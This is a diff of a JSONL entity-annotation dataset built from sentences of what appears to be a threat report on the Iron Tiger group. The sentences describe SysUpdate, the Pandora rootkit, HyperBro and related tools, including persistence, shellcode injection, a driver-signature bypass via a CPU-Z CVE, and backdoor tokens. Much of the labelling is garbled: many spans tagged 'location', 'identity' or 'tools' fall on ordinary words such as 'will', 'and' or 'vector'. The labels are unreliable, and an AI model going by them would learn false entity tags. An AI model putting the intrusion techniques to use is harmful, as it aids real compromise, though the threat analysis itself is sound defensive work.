 {"id":7041,"text":"Windows Management Instrumentation (WMI) will be used to run dlpumgr32.exe with arguments “-up -run -x” and it will exit the current process.","entities":[{"id":22079,"label":"attack-pattern","start_offset":0,"end_offset":34},{"id":22080,"label":"location","start_offset":41,"end_offset":45},{"id":22081,"label":"location","start_offset":104,"end_offset":107},{"id":22082,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":7042,"text":"One argument.","entities":[],"relations":[],"Comments":[]}
-{"id":7043,"text":"It will skip the decoding of the configuration and persistence setup, and will perform the same behavior as one with three arguments.","entities":[{"id":22084,"label":"location","start_offset":3,"end_offset":7},{"id":22085,"label":"location","start_offset":47,"end_offset":50},{"id":22086,"label":"location","start_offset":70,"end_offset":73},{"id":22087,"label":"location","start_offset":74,"end_offset":78},{"id":22088,"label":"location","start_offset":91,"end_offset":95},{"id":22089,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":7044,"text":"Three arguments.","entities":[],"relations":[],"Comments":[]}
-{"id":7045,"text":"The launcher first decrypts the config.res file with a hardcoded Data Encryption Standard (DES) key.","entities":[{"id":22092,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":7046,"text":"It encodes it using another key and writes it to the registry key “Software\\Classes\\scConfig” (HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER hive, depending on the privileges of the process).","entities":[{"id":22093,"label":"location","start_offset":32,"end_offset":35},{"id":22094,"label":"malware","start_offset":135,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":7047,"text":"After decrypting the configuration, the config.res file is deleted.","entities":[],"relations":[],"Comments":[]}
-{"id":7048,"text":"Depending on the privileges of the process, the malware will add a value to the “Software\\Microsoft\\Windows\\CurrentVersion\\Run” key, or it will create a service that runs the malware at boot time","entities":[{"id":22095,"label":"location","start_offset":56,"end_offset":60},{"id":22096,"label":"location","start_offset":139,"end_offset":143},{"id":22097,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]}
 {"id":7049,"text":"The launcher decrypts the data.res file with a different hardcoded DES key.","entities":[],"relations":[],"Comments":[]}
 {"id":7050,"text":"The result is a file with the following structure:     Size of the 32-bit shellcode  32-bit shellcode  Size of the 64-bit shellcode  64-bit shellcode   Table 2.","entities":[{"id":22098,"label":"location","start_offset":40,"end_offset":49},{"id":22099,"label":"identity","start_offset":70,"end_offset":73},{"id":22100,"label":"identity","start_offset":88,"end_offset":91},{"id":22101,"label":"identity","start_offset":118,"end_offset":121},{"id":22102,"label":"identity","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":7051,"text":"Structure of decrypted data.res file  Lastly, the launcher starts a suspended process with the command line “C:\\Windows\\system32\\svchost.exe -k LocalServices,”and injects the appropriate shellcode into it (either 32- or 64-bit).","entities":[{"id":22104,"label":"location","start_offset":0,"end_offset":9},{"id":22105,"label":"identity","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]}
-{"id":7052,"text":"It will then resume the newly created process and exit the current process.","entities":[{"id":22106,"label":"location","start_offset":3,"end_offset":7},{"id":22107,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":7053,"text":" The following diagram summarizes the launch procedure:      Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":7054,"text":"The launch procedure of the updated tool      The payload itself is a new version of SysUpdate.","entities":[{"id":22109,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":7055,"text":"Analysis of the Payload","entities":[],"relations":[],"Comments":[]}
 {"id":7056,"text":"The features of the updated SysUpdate payload look similar to its previous versions.","entities":[],"relations":[],"Comments":[]}
-{"id":7057,"text":"We observed that the C++ code is structured around classes, many of which have self-explanatory names.","entities":[{"id":22113,"label":"location","start_offset":60,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":7058,"text":"Some of these classes, such as CCompress, CIOStreamIF, or CTcpSocket, have been present in the older versions of SysUpdate and compiled near the end of 2015.","entities":[{"id":22115,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":7059,"text":"Others have been in existence for many years, such as TPacket, SCM Client, SystemInfo, CMD5, CIOStream, and CInfo.","entities":[{"id":22118,"label":"malware","start_offset":75,"end_offset":85},{"id":22119,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":7060,"text":"Some of them are newer and have been developed in 2020, such as ConfigReg, CWorkQueue, WindowsEvent, and CEncoder or cudp.","entities":[{"id":22120,"label":"location","start_offset":8,"end_offset":12},{"id":22121,"label":"location","start_offset":13,"end_offset":16},{"id":22122,"label":"location","start_offset":23,"end_offset":26},{"id":22124,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":7061,"text":"The sample we’ve analyzed contained many new and unique classes that featured a particular naming convention.","entities":[{"id":22125,"label":"location","start_offset":4,"end_offset":10},{"id":22126,"label":"location","start_offset":36,"end_offset":40},{"id":22127,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":7062,"text":"The names of classes are mostly self-explanatory, and the manner in which the classes have been organized is probably the result of a framework developed by our threat actor.","entities":[{"id":22128,"label":"location","start_offset":21,"end_offset":24},{"id":22129,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":7063,"text":" Some of the classes’ names","entities":[],"relations":[],"Comments":[]}
-{"id":7064,"text":"start with “H” (HControl, HSleep, and HTrans), “I” (IAgent, ITcpAgent, and IAgentListener), “T” (TCommon, TFileInfo, TFileRename, TFileUpload, TServicesInfo, TListUser, and TTransmit), “C” (CSSLAgent, CSocks5, and CTcpAgent) or “CM” (CMCapture, CMFile, CMPipeClient, CMPipeServer, CMProcess, CMServices, and CMShell)","entities":[{"id":22130,"label":"location","start_offset":0,"end_offset":5},{"id":22131,"label":"location","start_offset":34,"end_offset":37},{"id":22132,"label":"location","start_offset":71,"end_offset":74},{"id":22133,"label":"location","start_offset":169,"end_offset":172},{"id":22134,"label":"location","start_offset":210,"end_offset":213},{"id":22135,"label":"location","start_offset":304,"end_offset":307}],"relations":[],"Comments":[]}
-{"id":7065,"text":" The communication is made via a named pipe (in our case, it’s “\\\\.\\pipe\\testPipe”).","entities":[{"id":22136,"label":"location","start_offset":22,"end_offset":26},{"id":22137,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":7066,"text":"Multiple features that are expected of an espionage backdoor are present in the sample.","entities":[{"id":22138,"label":"location","start_offset":23,"end_offset":26},{"id":22139,"label":"location","start_offset":61,"end_offset":64},{"id":22140,"label":"location","start_offset":80,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":7067,"text":"These include a screenshot feature, file management functions (such as search, delete, move, upload, and download), process and services management, and command execution.","entities":[{"id":22141,"label":"location","start_offset":101,"end_offset":104},{"id":22142,"label":"location","start_offset":124,"end_offset":127},{"id":22143,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":7068,"text":" It should be noted that we also found recent samples of the SysUpdate backdoor that do not implement these “new” classes.","entities":[{"id":22144,"label":"malware","start_offset":61,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":7069,"text":"This suggests that different groups (or subgroups of Iron Tiger) are also using this malware family in their attacks.","entities":[{"id":22146,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":7070,"text":" Pandora Backdoor","entities":[{"id":22147,"label":"location","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7071,"text":"On two occasions (in March and October 2020), we found a kernel rootkit that had been deployed.","entities":[{"id":22150,"label":"location","start_offset":27,"end_offset":30},{"id":22152,"label":"attack-pattern","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":7072,"text":"After analysis, it appears that this rootkit’s behavior is very similar to that of the NDISProxy driver and remote access trojan (RAT).","entities":[{"id":22153,"label":"attack-pattern","start_offset":37,"end_offset":44},{"id":22154,"label":"location","start_offset":97,"end_offset":103},{"id":22155,"label":"location","start_offset":104,"end_offset":107},{"id":22156,"label":"location","start_offset":108,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":7073,"text":"The version we found is slightly different — the driver isn’t digitally signed but instead utilizes a known exploit to bypass Windows Driver Signature Enforcement (DSE) protection and load the driver directly into the system.","entities":[{"id":22157,"label":"location","start_offset":49,"end_offset":55},{"id":22158,"label":"location","start_offset":134,"end_offset":140},{"id":22159,"label":"location","start_offset":169,"end_offset":179},{"id":22160,"label":"location","start_offset":180,"end_offset":183},{"id":22161,"label":"location","start_offset":184,"end_offset":188},{"id":22162,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":7074,"text":"We chose to call it “Pandora” based on the program database (PDB) path of the unpacked stage 2, which is “F:\\Pandora\\x\\drv(32-64)\\bin\\src\\drvx64.pdb.”","entities":[{"id":22163,"label":"location","start_offset":12,"end_offset":16},{"id":22164,"label":"location","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":7075,"text":"The rootkit has multiple stages before getting to the actual payload:","entities":[{"id":22166,"label":"attack-pattern","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":7076,"text":"Stage 1  Grants system privileges via Windows services  Uses DLL sideloading technique to evade security solutions Starts and injects code to a new svchost process to prevent tracking  Stage 2  Utilizes a known vulnerability (CPU-Z CVE-2017-15303) that allows it to read and write into physical memory and read CPU control registers to turn the DSE off.","entities":[{"id":22168,"label":"location","start_offset":9,"end_offset":15},{"id":22169,"label":"location","start_offset":96,"end_offset":104},{"id":22170,"label":"location","start_offset":122,"end_offset":125},{"id":22172,"label":"location","start_offset":271,"end_offset":274},{"id":22173,"label":"location","start_offset":302,"end_offset":305}],"relations":[],"Comments":[]}
 {"id":7077,"text":"This is done in conjunction with the Process Monitor driver (procxp152.sys), both of which are dropped upon loading the rootkit, even if they are not originally installed in the machine.","entities":[{"id":22174,"label":"location","start_offset":45,"end_offset":52},{"id":22175,"label":"location","start_offset":53,"end_offset":59},{"id":22176,"label":"location","start_offset":91,"end_offset":94},{"id":22177,"label":"attack-pattern","start_offset":120,"end_offset":127},{"id":22178,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]}
-{"id":7078,"text":"Loads \"drvx64.sys,\" a crafted Windows Presentation Foundation (WPF) driver  Stage 2 - Driver  Registers WPF callback and filters incoming traffic with a predefined token","entities":[{"id":22179,"label":"location","start_offset":68,"end_offset":74},{"id":22181,"label":"location","start_offset":86,"end_offset":92},{"id":22182,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":7079,"text":"Injects final payload into \"lsass.exe\"  Stage 3 - Final Payload  Installs itself as a Windows service","entities":[],"relations":[],"Comments":[]}
-{"id":7080,"text":"Sets a specific keyword for communication Exchanges messages and commands with the kernel driver Performs backdoor functions  ","entities":[{"id":22184,"label":"location","start_offset":61,"end_offset":64},{"id":22185,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":7081,"text":"Each backdoor has a different token that is encrypted in the registry.","entities":[],"relations":[],"Comments":[]}
-{"id":7082,"text":"If the incoming traffic contains a token and is in the HTTP format, the backdoor will intercept the traffic and process the command.","entities":[{"id":22186,"label":"location","start_offset":41,"end_offset":44},{"id":22187,"label":"location","start_offset":81,"end_offset":85},{"id":22188,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":7083,"text":"In the version that we’ve analyzed, the installer writes the token in the registry key.","entities":[],"relations":[],"Comments":[]}
-{"id":7084,"text":"We can’t trigger the backdoor without a current token, which makes the backdoor more difficult to find and analyze.","entities":[{"id":22189,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7085,"text":"Sample  Token  Mutex  Semaphore  Pandora 20200310  FHHqw@nF4Jo0vPAU180IP5h9umnd4KFi  ENDnetfilter  234netfilter  Pandora 20201010  Qp$zo&FgPBjGhm(.LGi_&j~tmhMO08)  ENDdsfsfs  xwwadsfsfs   Table 3.","entities":[{"id":22190,"label":"location","start_offset":0,"end_offset":6},{"id":22191,"label":"location","start_offset":22,"end_offset":31},{"id":22192,"label":"location","start_offset":33,"end_offset":40},{"id":22193,"label":"location","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":7086,"text":"Pandora backdoor samples with different tokens Based on our analysis, the Pandora backdoor contains more public code repositories compared with previous versions.","entities":[{"id":22195,"label":"malware","start_offset":0,"end_offset":7},{"id":22197,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":7087,"text":"Feature  Name  Repository  Driver memory injection  Blackbone  https:\/\/github.com\/DarthTon\/Blackbone  NDIS network filtering driver  WFP Sample  \"WDK\\Windows Filtering Platform Stream Edit Sample\/C++\/sys\/stream_callout.c”  ","entities":[{"id":22198,"label":"location","start_offset":27,"end_offset":33},{"id":22199,"label":"attack-pattern","start_offset":34,"end_offset":50},{"id":22200,"label":"URL","start_offset":63,"end_offset":100},{"id":22201,"label":"location","start_offset":125,"end_offset":131},{"id":22202,"label":"location","start_offset":137,"end_offset":143},{"id":22203,"label":"location","start_offset":189,"end_offset":195}],"relations":[],"Comments":[]}
 {"id":7088,"text":"Parse HTTP packets  HTTP Parser  https:\/\/github.com\/nodejs\/http-parser  ","entities":[{"id":22204,"label":"URL","start_offset":33,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":7089,"text":"Turn off DSE  StryKer","entities":[{"id":22205,"label":"location","start_offset":14,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":7090,"text":" https:\/\/github.com\/hfiref0x\/Stryker","entities":[],"relations":[],"Comments":[]}
 {"id":7091,"text":"Encrypted Communication   D3DES  https:\/\/gitlab.gnome.org\/GNOME\/gtk-vnc\/-\/blob\/v0.1.0\/src\/d3des.c  Compression  QuickLZ  https:\/\/github.com\/robottwo\/quicklz   Table 4.","entities":[{"id":22208,"label":"URL","start_offset":121,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":7092,"text":"Pandora’s public code repositories Rootkits From a Public Repository","entities":[{"id":22210,"label":"malware","start_offset":0,"end_offset":7},{"id":22211,"label":"location","start_offset":10,"end_offset":16},{"id":22212,"label":"location","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":7093,"text":"We found two different rootkits that are being used for hiding processes, files, and services.","entities":[{"id":22214,"label":"location","start_offset":37,"end_offset":40},{"id":22215,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":7094,"text":"Both of them were taken from a public Github repository whose authors are not associated with the threat actor.","entities":[{"id":22216,"label":"location","start_offset":8,"end_offset":12},{"id":22217,"label":"location","start_offset":31,"end_offset":37},{"id":22219,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":7095,"text":"  Hidden.sys -  https:\/\/github.com\/JKornev\/hidden\/tree\/master\/  ","entities":[{"id":22220,"label":"URL","start_offset":16,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":7096,"text":"The first sample was found in April 2020.","entities":[{"id":22222,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":7097,"text":"The driver was not signed and used the same DSE exploit that the Pandora backdoor uses for it to load.","entities":[{"id":22224,"label":"location","start_offset":4,"end_offset":10},{"id":22225,"label":"location","start_offset":26,"end_offset":29},{"id":22226,"label":"location","start_offset":39,"end_offset":43},{"id":22228,"label":"location","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":7098,"text":"The second sample was found in October 2020 and was signed by a legitimate certificate from Beijing Kingsoft Security Software Co., Ltd., a Chinese security software company.","entities":[{"id":22230,"label":"location","start_offset":11,"end_offset":17},{"id":22232,"label":"location","start_offset":44,"end_offset":47},{"id":22235,"label":"location","start_offset":148,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":7099,"text":"The certificate has been valid since February 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":7100,"text":"We have communicated with Kingsoft Corporation Limited regarding this issue and they have confirmed that as of writing, the certificate has already been voided.","entities":[{"id":22238,"label":"location","start_offset":70,"end_offset":75},{"id":22239,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":7101,"text":"           Figure 3. Hidden.sys properties and digital signature details     ","entities":[{"id":22241,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":7102,"text":"The tool is used to hide the threat actors’ tools and services.","entities":[{"id":22242,"label":"location","start_offset":4,"end_offset":8},{"id":22243,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":7103,"text":"The tool’s configuration was added to registry run keys on a victim’s computer.","entities":[{"id":22244,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7104,"text":"Hidden Registry\/Folder\/File  Type  Value  REG  HKLM\\SYSTEM\\CurrentControlSet\\services\\HiddenService  REG  HKLM\\SYSTEM\\CurrentControlSet\\services\\servTest  REG  HKLM\\SYSTEM\\CurrentControlSet\\services\\TrkWkss  Folder  C:\\programdata\\vlc  File  C:\\programdata\\vlc\\vlc.exe  Folder  C:\\programdata\\test  File  C:\\programdata\\test\\dlpumgr32.exe  File  C:\\windows\\system32\\drivers\\Hidden.sys  File  C:\\windows\\system32\\HiddenService.exe   Table 5.","entities":[{"id":22245,"label":"location","start_offset":29,"end_offset":33},{"id":22246,"label":"malware","start_offset":42,"end_offset":45},{"id":22247,"label":"REGISTRYKEY","start_offset":47,"end_offset":99},{"id":22248,"label":"malware","start_offset":101,"end_offset":104},{"id":22249,"label":"REGISTRYKEY","start_offset":106,"end_offset":153},{"id":22250,"label":"malware","start_offset":155,"end_offset":158},{"id":22251,"label":"REGISTRYKEY","start_offset":160,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":7105,"text":"The tool’s configuration","entities":[{"id":22253,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7106,"text":"The references to “Hidden” are related to the rootkit itself.","entities":[{"id":22254,"label":"location","start_offset":27,"end_offset":30},{"id":22255,"label":"attack-pattern","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":7107,"text":"The “dlpumgr32.exe” and “servTest” lines are related to the new version of SysUpdate which we described earlier.","entities":[{"id":22256,"label":"location","start_offset":20,"end_offset":23},{"id":22257,"label":"location","start_offset":41,"end_offset":44},{"id":22258,"label":"malware","start_offset":75,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":7108,"text":" We do not know which malware variant is being sideloaded by vlc.exe.","entities":[],"relations":[],"Comments":[]}
 {"id":7109,"text":"It is probably installed as a service named “TrkWkss.”","entities":[],"relations":[],"Comments":[]}
-{"id":7110,"text":"We found a SysUpdate sample compiled in November 2020 that abuses a DLL sideloading vulnerability in VLC (see IOC list).","entities":[{"id":22261,"label":"location","start_offset":21,"end_offset":27},{"id":22263,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":7111,"text":" This confirms that this threat actor is abusing this legitimate program to sideload its backdoors.","entities":[],"relations":[],"Comments":[]}
 {"id":7112,"text":"HyperBro Malware Family","entities":[{"id":22264,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7113,"text":"The Iron Tiger APT group has used the HyperBro malware family since at least 2017.","entities":[{"id":22266,"label":"malware","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":7114,"text":"It is the evolved version of HttpBrowser, which the group has been using since at least 2015.","entities":[{"id":22268,"label":"malware","start_offset":29,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":7115,"text":"We found earlier versions of this malware that were sideloaded by malicious DLL files that unpacked and loaded a binary file named “thumb.db” in memory.","entities":[{"id":22270,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":7116,"text":"All the requests were sent to the C&C server on port 443, with “\/ajax” as the uniform resource identifier (URI).","entities":[],"relations":[],"Comments":[]}
 {"id":7117,"text":"While investigating Operation DRBControl, we found an updated version of this malware family that implements some new classes.","entities":[{"id":22272,"label":"threat-actor","start_offset":20,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":7118,"text":"We provided a detailed analysis of this new HyperBro version in our research.","entities":[{"id":22273,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":7119,"text":"We also discovered that the binary file that’s being unpacked and loaded in memory by malicious DLL files is named “thumb.dat.”","entities":[{"id":22274,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":7120,"text":"We also saw that all requests sent to the C&C server were sent to the URI “\/api\/v2\/ajax” on port 443.","entities":[{"id":22275,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7121,"text":"Since we analyzed that single sample, we found several new samples that matched the newer behavior, some of which have been deployed in our gambling target.","entities":[{"id":22276,"label":"location","start_offset":30,"end_offset":36},{"id":22277,"label":"location","start_offset":149,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":7122,"text":"However, we continue seeing samples that feature the “older” behaviors, which suggests that different groups — or possibly subgroups of Iron Tiger — are using this malware family.","entities":[{"id":22278,"label":"threat-actor","start_offset":136,"end_offset":146},{"id":22279,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":7123,"text":"Some of these samples match the target and behavior listed by ESET in their blog.","entities":[{"id":22280,"label":"location","start_offset":32,"end_offset":38},{"id":22281,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":7124,"text":"FRP Tool","entities":[{"id":22283,"label":"malware","start_offset":0,"end_offset":3},{"id":22284,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7125,"text":"We found the FRP tool being used on a Linux host, which is similar to Avast’s findings in a report that they published on the Iron Tiger threat actor.","entities":[{"id":22285,"label":"tools","start_offset":13,"end_offset":16},{"id":22286,"label":"location","start_offset":17,"end_offset":21},{"id":22287,"label":"location","start_offset":44,"end_offset":48},{"id":22288,"label":"identity","start_offset":70,"end_offset":75},{"id":22289,"label":"threat-actor","start_offset":126,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":7126,"text":"The FRP tool that we analyzed was a modified version, which was possibly copied off of Github.","entities":[{"id":22290,"label":"malware","start_offset":4,"end_offset":7},{"id":22291,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7127,"text":"Type 1 Malware Family","entities":[{"id":22292,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":7128,"text":"We found three new samples of the Type 1 malware family that abuses Dropbox as a secondary C&C channel, which we described in our Operation DRBControl whitepaper.","entities":[{"id":22294,"label":"location","start_offset":34,"end_offset":38},{"id":22295,"label":"malware","start_offset":68,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":7129,"text":"Apart from a modification in the malware sample’s configuration (which happened after we published our paper), the differences with the versions that we analyzed in 2019 are minor.","entities":[{"id":22297,"label":"location","start_offset":41,"end_offset":47},{"id":22299,"label":"location","start_offset":170,"end_offset":173},{"id":22300,"label":"location","start_offset":174,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":7130,"text":"The version numbering was at 11.0, while the last sample we analyzed in August 2019 was at version number 9.0.","entities":[{"id":22302,"label":"location","start_offset":50,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":7131,"text":"This shows that the development is still active.","entities":[],"relations":[],"Comments":[]}
-{"id":7132,"text":"On the infrastructure side, we observed that the threat actor switched from using IP addresses hosted on the Google Cloud Platform (GCP) to IP addresses hosted on Microsoft Azure.","entities":[{"id":22305,"label":"location","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":7133,"text":"It should be noted that after our blog publication in February 2020, the threat actor compiled new Type 1 malware samples using a new configuration, which prevented us from closely monitoring their operations.","entities":[{"id":22308,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":7134,"text":"We believe that this was a direct reaction to our research, suggesting that the threat actor read our investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":7135,"text":"It’s also important to note that the compilation timestamp of the sideloaded DLLs were set a few months in advance.","entities":[{"id":22310,"label":"location","start_offset":107,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":7136,"text":"For example, the binaries that we found in March and April 2020 had an August 26, 2020 compilation date.","entities":[{"id":22313,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":7137,"text":"This is consistent with the behavior that we noticed during Operation DRBControl, wherein some binaries that have been found in mid-2019 had a compilation date of March 4, 2020.","entities":[{"id":22316,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":7138,"text":"This shows that the threat actors intended to confuse forensics investigators with incorrect timestamps, which is why it’s critical to analyze timestamps with caution during investigations.","entities":[],"relations":[],"Comments":[]}
 {"id":7139,"text":"Infection Vector","entities":[{"id":22318,"label":"tools","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":7140,"text":"We could not confirm the primary infection vector.","entities":[{"id":22319,"label":"tools","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]}
@@ -7142,191 +6201,83 @@
 {"id":7142,"text":"Multiple infection vectors have been attributed to this threat actor in the past:  Watering holes","entities":[],"relations":[],"Comments":[]}
 {"id":7143,"text":"Weaponized documents exploiting the Dynamic Data Exchange (DDE) method Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor Exploitation of the CVE-2019-0604 vulnerability in Sharepoint Supply chain attack that compromises a chat software installer, Able Desktop Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server","entities":[{"id":22321,"label":"attack-pattern","start_offset":36,"end_offset":57},{"id":22322,"label":"threat-actor","start_offset":138,"end_offset":146},{"id":22323,"label":"location","start_offset":216,"end_offset":222},{"id":22324,"label":"location","start_offset":255,"end_offset":259},{"id":22325,"label":"location","start_offset":342,"end_offset":347},{"id":22326,"label":"location","start_offset":381,"end_offset":384},{"id":22327,"label":"identity","start_offset":404,"end_offset":413},{"id":22328,"label":"location","start_offset":414,"end_offset":422}],"relations":[],"Comments":[]}
 {"id":7144,"text":"During our investigation, we found some old samples that fit in these categories but have not been reported.","entities":[],"relations":[],"Comments":[]}
-{"id":7145,"text":"They are unrelated to this campaign and can be found in our IOC list.","entities":[{"id":22329,"label":"location","start_offset":5,"end_offset":8},{"id":22330,"label":"location","start_offset":27,"end_offset":35},{"id":22331,"label":"location","start_offset":36,"end_offset":39},{"id":22332,"label":"location","start_offset":40,"end_offset":43},{"id":22334,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":7146,"text":"Targets","entities":[],"relations":[],"Comments":[]}
 {"id":7147,"text":"The closer look into Iron Tiger was prompted because of an incident response investigation involving a Philippine-based gambling company that the group targeted.","entities":[],"relations":[],"Comments":[]}
-{"id":7148,"text":"True to form, the Iron Tiger threat actor has targeted the same company for 18 months.","entities":[{"id":22337,"label":"location","start_offset":0,"end_offset":4},{"id":22339,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":7149,"text":"Aside from targeting the same company, Iron Tiger also targeted other countries and industries.","entities":[{"id":22341,"label":"location","start_offset":25,"end_offset":29},{"id":22343,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":7150,"text":"Over the past 18 months, we observed how the group targeted governments, banks, telecommunication providers, and even the energy sector in the Middle East and Southeast Asia.","entities":[{"id":22345,"label":"location","start_offset":73,"end_offset":78},{"id":22346,"label":"location","start_offset":109,"end_offset":112},{"id":22347,"label":"location","start_offset":122,"end_offset":128},{"id":22349,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":7151,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":7152,"text":"The countries that Iron Tiger has targeted in the past 18 months     Timeline","entities":[],"relations":[],"Comments":[]}
-{"id":7153,"text":"The following timeline shows different samples found in the same gambling company that Talent-Jump and Trend Micro investigated:   July 2019: Operation DRBControl starts October 2019: One HyperBro malware sample found March 2020:","entities":[{"id":22354,"label":"location","start_offset":60,"end_offset":64},{"id":22356,"label":"location","start_offset":99,"end_offset":102},{"id":22363,"label":"location","start_offset":205,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":7154,"text":"New sample of Type 1 malware variant and a rootkit called Pandora found April 2020: One rootkit sample for hiding files processes, files, and services found October 2020:","entities":[{"id":22365,"label":"location","start_offset":4,"end_offset":10},{"id":22366,"label":"location","start_offset":14,"end_offset":18},{"id":22367,"label":"location","start_offset":37,"end_offset":40},{"id":22368,"label":"attack-pattern","start_offset":43,"end_offset":50},{"id":22372,"label":"attack-pattern","start_offset":88,"end_offset":95},{"id":22373,"label":"location","start_offset":96,"end_offset":102},{"id":22374,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":7155,"text":"New HyperBro and Pandora samples found December 2020:","entities":[{"id":22376,"label":"malware","start_offset":4,"end_offset":12},{"id":22377,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":7156,"text":"One sample of the SysUpdate malware variant found January 2021:","entities":[{"id":22381,"label":"location","start_offset":4,"end_offset":10},{"id":22382,"label":"malware","start_offset":18,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":7157,"text":"Fast Reverse Proxy (FRP) Linux tool found  Conclusion","entities":[{"id":22384,"label":"malware","start_offset":20,"end_offset":23},{"id":22385,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]}
